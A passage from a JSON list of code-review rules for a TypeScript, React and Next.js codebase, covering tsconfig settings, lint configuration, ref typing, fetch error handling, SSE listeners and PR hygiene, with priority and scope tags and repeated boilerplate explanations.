universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Remove redundant state that duplicates another flag","rule":"If two pieces of state always hold the same value, drop one; carrying both invites them drifting out of sync.","apiRule":"If two pieces of state always hold the same value, drop one; carrying both invites them drifting out of sync. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Set boolean state directly from the condition, but keep intent explicit","rule":"When a flag mirrors a boolean expression, set it directly (setX(cond)); if branches encode distinct intent, keep them explicit rather than collapsing for brevity.","apiRule":"When a flag mirrors a boolean expression, set it directly (setX(cond)); if branches encode distinct intent, keep them explicit rather than collapsing for brevity. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Preserve typed results with generics instead of widening to unknown","rule":"Instead of typing a shared callback result as `unknown`, parameterize it with a generic so call sites that know the shape keep type safety.","apiRule":"Instead of typing a shared callback result as `unknown`, parameterize it with a generic so call sites that know the shape keep type safety. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Prefer explicit path mappings over a catch-all wildcard","rule":"List each alias explicitly in tsconfig paths instead of a single `*` mapping; it avoids resolver overhead and keeps the set of aliases visible.","apiRule":"List each alias explicitly in tsconfig paths instead of a single `*` mapping; it avoids resolver overhead and keeps the set of aliases visible. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Keep tsconfig target and lib in sync","rule":"The ECMAScript version in `target` and the matching `lib` entry should reference the same edition to avoid mismatched runtime/type assumptions.","apiRule":"The ECMAScript version in `target` and the matching `lib` entry should reference the same edition to avoid mismatched runtime/type assumptions. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Add a $schema reference to config JSON files","rule":"Point config JSON (tsconfig, lint config, etc.) at its JSON schema so editors give autocomplete and validation even for newly added options.","apiRule":"Point config JSON (tsconfig, lint config, etc.) at its JSON schema so editors give autocomplete and validation even for newly added options. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Declare needed @types packages explicitly in tsconfig types","rule":"Newer TypeScript no longer auto-includes every installed @types package; list each one (e.g. node, vitest/globals) in compilerOptions.types.","apiRule":"Newer TypeScript no longer auto-includes every installed @types package; list each one (e.g. node, vitest/globals) in compilerOptions.types. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Avoid --fix in shared lint scripts; reserve autofix for pre-commit","rule":"A package lint script should report errors so developers can decide; auto-fixing on every run is best limited to pre-commit hooks.","apiRule":"A package lint script should report errors so developers can decide; auto-fixing on every run is best limited to pre-commit hooks. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Design REST routes with a consistent resource hierarchy","rule":"Order path segments so nesting reflects ownership (parent before child) and keep the naming scheme consistent with sibling endpoints.","apiRule":"Order path segments so nesting reflects ownership (parent before child) and keep the naming scheme consistent with sibling endpoints. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep a single source for pnpm workspace config","rule":"Don't define pnpm workspace settings in both package.json and pnpm-workspace.yaml; once the yaml file exists, move the config there to avoid two competing configs.","apiRule":"Don't define pnpm workspace settings in both package.json and pnpm-workspace.yaml; once the yaml file exists, move the config there to avoid two competing configs. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use a shared noop instead of inline empty arrow callbacks","rule":"Replace repeated inline () => {} handlers with a single shared noop reference to avoid recreating throwaway functions and to signal intent.","apiRule":"Replace repeated inline () => {} handlers with a single shared noop reference to avoid recreating throwaway functions and to signal intent. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Put values used purely as types in the types layer","rule":"A constant or object that exists only to derive a type (e.g. via typeof for an aspectRatio) is effectively a type and should be declared/treated as one rather than mixed into runtime utility code.","apiRule":"A constant or object that exists only to derive a type (e.g. via typeof for an aspectRatio) is effectively a type and should be declared/treated as one rather than mixed into runtime utility code. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use an implicit-return arrow for purely presentational components","rule":"A component with no hooks or logic — just JSX from props — reads more cleanly as a concise arrow with an implicit return than a function body with an explicit return.","apiRule":"A component with no hooks or logic — just JSX from props — reads more cleanly as a concise arrow with an implicit return than a function body with an explicit return. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Open work-in-progress changes as a draft PR","rule":"If a PR isn't ready for review, mark it as draft (or don't open it yet) so reviewers don't spend time on incomplete code.","apiRule":"If a PR isn't ready for review, mark it as draft (or don't open it yet) so reviewers don't spend time on incomplete code. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep changes scoped and split unrelated refactors into their own PR","rule":"Changes not required by the task at hand belong in a separate PR; bundling them makes review harder and widens the blast radius.","apiRule":"Changes not required by the task at hand belong in a separate PR; bundling them makes review harder and widens the blast radius. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use the current API variant, not the legacy one","rule":"When both a current and a *Legacy variant of a component/API exist, use the current one for new code unless there's a documented reason to stay on legacy.","apiRule":"When both a current and a *Legacy variant of a component/API exist, use the current one for new code unless there's a documented reason to stay on legacy. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Let useRef infer its type instead of annotating a written ref as RefObject","rule":"RefObject types current as readonly; if you assign to ref.current, don't annotate it as RefObject — let useRef infer a mutable ref type from its initial value.","apiRule":"RefObject types current as readonly; if you assign to ref.current, don't annotate it as RefObject — let useRef infer a mutable ref type from its initial value. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Wrap async fetch calls in try/catch and reset loading on failure","rule":"If an awaited fetch function can throw, wrap it so isLoading is reset and an error state is set; otherwise a throw leaves the UI stuck loading forever.","apiRule":"If an awaited fetch function can throw, wrap it so isLoading is reset and an error state is set; otherwise a throw leaves the UI stuck loading forever. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Treat unused lint-disable directives as errors","rule":"Configure the linter to error on unused disable directives so stale suppressions get removed instead of lingering.","apiRule":"Configure the linter to error on unused disable directives so stale suppressions get removed instead of lingering. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Pass the type-aware flag so type-aware lint rules actually run","rule":"Some linters only execute type-aware rules when an explicit flag (e.g. oxlint --type-aware) is passed; without it those rules silently do nothing.","apiRule":"Some linters only execute type-aware rules when an explicit flag (e.g. oxlint --type-aware) is passed; without it those rules silently do nothing. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Avoid reassigning function parameters","rule":"Mutating a parameter (or a property on a passed-in object like event.returnValue) is error-prone; prefer a local variable, and enable no-param-reassign to enforce it.","apiRule":"Mutating a parameter (or a property on a passed-in object like event.returnValue) is error-prone; prefer a local variable, and enable no-param-reassign to enforce it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use ref as a prop instead of forwardRef in React 19","rule":"On React 19 you can accept ref as a normal prop, so wrapping components in forwardRef (and the associated displayName boilerplate) is unnecessary.","apiRule":"On React 19 you can accept ref as a normal prop, so wrapping components in forwardRef (and the associated displayName boilerplate) is unnecessary. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Use :global() only in CSS Module files","rule":"The :global() selector is a CSS Modules feature; in a plain (non-module) stylesheet it has no effect, so either make the file a .module file or drop :global().","apiRule":"The :global() selector is a CSS Modules feature; in a plain (non-module) stylesheet it has no effect, so either make the file a .module file or drop :global(). Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Verify what each config option does instead of guessing","rule":"When configuring a tool, read its docs and confirm each option actually does what you need rather than copying options speculatively; remove ones that don't apply.","apiRule":"When configuring a tool, read its docs and confirm each option actually does what you need rather than copying options speculatively; remove ones that don't apply. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer package.json subpath imports over deprecated baseUrl","rule":"tsconfig baseUrl is deprecated and slated for removal in TypeScript v7; configure subpath imports (the imports field) and use #/ prefixes instead.","apiRule":"tsconfig baseUrl is deprecated and slated for removal in TypeScript v7; configure subpath imports (the imports field) and use #/ prefixes instead. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't set displayName when memo already infers it from the function name","rule":"memo() and named function components derive their display name from the function name, so an explicit .displayName assignment is redundant.","apiRule":"memo() and named function components derive their display name from the function name, so an explicit .displayName assignment is redundant. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Route requests through the shared fetch wrapper for consistency","rule":"When a project has a shared fetch/HTTP wrapper, use it for new requests instead of calling fetch directly, so headers, error handling and base URLs stay consistent.","apiRule":"When a project has a shared fetch/HTTP wrapper, use it for new requests instead of calling fetch directly, so headers, error handling and base URLs stay consistent. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Use an explicit if instead of || with an awaited value","rule":"Don't combine await with the || operator for control flow; an explicit if statement is clearer and avoids surprising short-circuit/await interactions.","apiRule":"Don't combine await with the || operator for control flow; an explicit if statement is clearer and avoids surprising short-circuit/await interactions. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Tie a stored Promise resolver to the component lifecycle","rule":"Storing a Promise resolver in a ref to await a dialog answer leaks the awaiting caller if the component unmounts or the handler re-enters; reject/clean up the pending resolver on unmount or re-entry.","apiRule":"Storing a Promise resolver in a ref to await a dialog answer leaks the awaiting caller if the component unmounts or the handler re-enters; reject/clean up the pending resolver on unmount or re-entry. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Be deliberate about !value vs Boolean(value) for string checks","rule":"!value and Boolean(value) differ for empty strings; choose the operator that matches the intended treatment of '' and double-check which falsy values you mean to catch.","apiRule":"!value and Boolean(value) differ for empty strings; choose the operator that matches the intended treatment of '' and double-check which falsy values you mean to catch. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Do not expose configuration as a prop unless multiple call sites need it","rule":"Keep a value internal (or derive it from an existing prop) until at least two call sites genuinely need to vary it; premature props bloat the component API.","apiRule":"Keep a value internal (or derive it from an existing prop) until at least two call sites genuinely need to vary it; premature props bloat the component API. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use MUI's documented slot prop names (PaperProps, MenuProps)","rule":"When customizing MUI internals, pass the correct slot prop names like PaperProps/MenuProps instead of inventing custom ones.","apiRule":"When customizing MUI internals, pass the correct slot prop names like PaperProps/MenuProps instead of inventing custom ones. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Render the image source before falling back to an initial/placeholder","rule":"When both a real image src and a generated initial are available, prefer the src; the fallback initial should only show when there's no image.","apiRule":"When both a real image src and a generated initial are available, prefer the src; the fallback initial should only show when there's no image. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Model sizing config as numbers, formatting to the string form at the edge","rule":"Accept dimensions as numbers (or number[]) and format them into the string shape an API like Image.sizes expects, rather than threading raw strings.","apiRule":"Accept dimensions as numbers (or number[]) and format them into the string shape an API like Image.sizes expects, rather than threading raw strings. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Collapse an if whose only purpose is to gate a single statement","rule":"When a block contains exactly one statement under a condition, keep it as a simple guarded statement and mind brace/indentation correctness.","apiRule":"When a block contains exactly one statement under a condition, keep it as a simple guarded statement and mind brace/indentation correctness. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Drop redundant qualifiers from prop names","rule":"When a component has a single obvious source, name the prop simply (src) instead of an over-qualified name (imageSrc) since context makes it clear.","apiRule":"When a component has a single obvious source, name the prop simply (src) instead of an over-qualified name (imageSrc) since context makes it clear. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name a route handler function `handler` per framework convention","rule":"Follow the framework's convention (Next.js API/route handlers are named handler) instead of a custom name.","apiRule":"Follow the framework's convention (Next.js API/route handlers are named handler) instead of a custom name. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Serialize array params in the format the backend already accepts","rule":"Match the existing arrayFormat (e.g. comma) the backend expects so the same param style is used consistently across calls.","apiRule":"Match the existing arrayFormat (e.g. comma) the backend expects so the same param style is used consistently across calls. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Normalize array query params through a shared helper before mapping","rule":"Query params that may be string or string[] should pass through a normalize helper before .map(Number) so both single and repeated values work.","apiRule":"Query params that may be string or string[] should pass through a normalize helper before .map(Number) so both single and repeated values work. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Guard against a falsy session before relying on it","rule":"Check that an auth/session cookie exists (and decide how to handle anonymous users) before using it to gate behavior; throw or short-circuit when it's falsy.","apiRule":"Check that an auth/session cookie exists (and decide how to handle anonymous users) before using it to gate behavior; throw or short-circuit when it's falsy. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Derive an initial error state when required data is missing","rule":"On first render/SSR, set an error state if essential data (e.g. profile, or both threads and replies) is absent, instead of assuming success.","apiRule":"On first render/SSR, set an error state if essential data (e.g. profile, or both threads and replies) is absent, instead of assuming success. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Place a file in the directory its import path implies","rule":"Keep files where their import path indicates so imports like './SortDropdownTrigger' resolve to a correctly located file.","apiRule":"Keep files where their import path indicates so imports like './SortDropdownTrigger' resolve to a correctly located file. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Drive option/button lists from a single config rather than filtering a master list","rule":"Pass the available options directly as config instead of declaring a full set plus a separate hidden/filtered list; it removes the derived filtering state.","apiRule":"Pass the available options directly as config instead of declaring a full set plus a separate hidden/filtered list; it removes the derived filtering state. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Check guard conditions before doing expensive or unnecessary work","rule":"Move validation/early-return checks above any parsing or computation they invalidate, so you don't do work that gets thrown away.","apiRule":"Move validation/early-return checks above any parsing or computation they invalidate, so you don't do work that gets thrown away. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Set the Content-Type: application/json header on JSON requests","rule":"Include the Content-Type: application/json header when sending a JSON body so servers parse it correctly.","apiRule":"Include the Content-Type: application/json header when sending a JSON body so servers parse it correctly. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Prefer the existing component library over a hand-rolled equivalent","rule":"Before implementing a control (toggle, button) from raw HTML, check whether the UI library (e.g. MUI) already provides it; reach for custom only when overriding it is genuinely heavier.","apiRule":"Before implementing a control (toggle, button) from raw HTML, check whether the UI library (e.g. MUI) already provides it; reach for custom only when overriding it is genuinely heavier. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Validate domain values against their real length, not a typo'd one","rule":"Check constants like currency codes against their actual format (ISO currency codes are 3 chars); a wrong length (4) silently rejects valid input.","apiRule":"Check constants like currency codes against their actual format (ISO currency codes are 3 chars); a wrong length (4) silently rejects valid input. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Serve static assets under a basepath via a Next.js rewrite, not origin guessing","rule":"For apps mounted under a basepath, add a /basepath/static/:path* -> /static/:path* rewrite and reference plain /static paths, rather than constructing absolute origin URLs that break when deployed.","apiRule":"For apps mounted under a basepath, add a /basepath/static/:path* -> /static/:path* rewrite and reference plain /static paths, rather than constructing absolute origin URLs that break when deployed. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Handle the zero case explicitly in number formatters","rule":"A formatter that early-returns the raw value for falsy inputs will mis-handle 0; treat 0 as a real value and format it (e.g. '0,00').","apiRule":"A formatter that early-returns the raw value for falsy inputs will mis-handle 0; treat 0 as a real value and format it (e.g. '0,00'). Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Name a prop after its intent","rule":"Choose prop names that describe what the prop controls (disableInlinePadding) rather than vague or implementation-leaking names.","apiRule":"Choose prop names that describe what the prop controls (disableInlinePadding) rather than vague or implementation-leaking names. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Fix layout spacing at its source rather than adding override props","rule":"When padding is doubled or wrong, remove the offending rule from the component that owns it instead of layering a new prop/override; verify other pages still look right.","apiRule":"When padding is doubled or wrong, remove the offending rule from the component that owns it instead of layering a new prop/override; verify other pages still look right. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Enrich partial event payloads with fields downstream handlers require","rule":"If a real-time/event payload lacks a field that a click handler or filter needs (e.g. a slug/url-name), enrich it before rendering so existing interactions don't break.","apiRule":"If a real-time/event payload lacks a field that a click handler or filter needs (e.g. a slug/url-name), enrich it before rendering so existing interactions don't break. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Don't mutate global counts/order from events that affect off-page items","rule":"When real-time events arrive for items not on the current page, be careful decrementing totals or moving items to position 1; reconcile against the actual paginated view so counts and order stay correct.","apiRule":"When real-time events arrive for items not on the current page, be careful decrementing totals or moving items to position 1; reconcile against the actual paginated view so counts and order stay correct. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Default opt-in feature flags to false","rule":"A flag that enables a new/optional behavior should default to false so callers opt in explicitly rather than getting it implicitly.","apiRule":"A flag that enables a new/optional behavior should default to false so callers opt in explicitly rather than getting it implicitly. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Listen to the specific named SSE event, not the generic message handler","rule":"When a server emits named SSE events, register addEventListener for that event name; the default onmessage only fires for unnamed events and will silently receive nothing.","apiRule":"When a server emits named SSE events, register addEventListener for that event name; the default onmessage only fires for unnamed events and will silently receive nothing. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: stack specific.","whenToApply":"Priority: P0. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"stack-specific"},{"title":"Pass required boolean props explicitly rather than relying on defaults","rule":"When a component expects a control flag like isHidden, pass it explicitly so behavior is clear and intentional.","apiRule":"When a component expects a control flag like isHidden, pass it explicitly so behavior is clear and intentional. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer natural callback dependencies over a ref to dodge the lint rule","rule":"When a value genuinely affects a callback, list it in the dependency array rather than smuggling it through a ref to silence exhaustive-deps; only use a ref when re-creation must truly be avoided.","apiRule":"When a value genuinely affects a callback, list it in the dependency array rather than smuggling it through a ref to silence exhaustive-deps; only use a ref when re-creation must truly be avoided. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Always give useRef an explicit type","rule":"Annotate refs with the element/value type so they aren't inferred as never or any.","apiRule":"Annotate refs with the element/value type so they aren't inferred as never or any. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Reference the already-derived local variable instead of re-reading the source","rule":"Once you've computed a value into a named variable, use that variable's properties rather than re-accessing the original object's equivalent field.","apiRule":"Once you've computed a value into a named variable, use that variable's properties rather than re-accessing the original object's equivalent field. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Guard ad/analytics keyword setup against auth-state races","rule":"When targeting keywords depend on auth state set asynchronously, verify the auth flag is ready before reading it, since it may not be populated yet.","apiRule":"When targeting keywords depend on auth state set asynchronously, verify the auth flag is ready before reading it, since it may not be populated yet. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: project specific.","whenToApply":"Priority: P1. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad 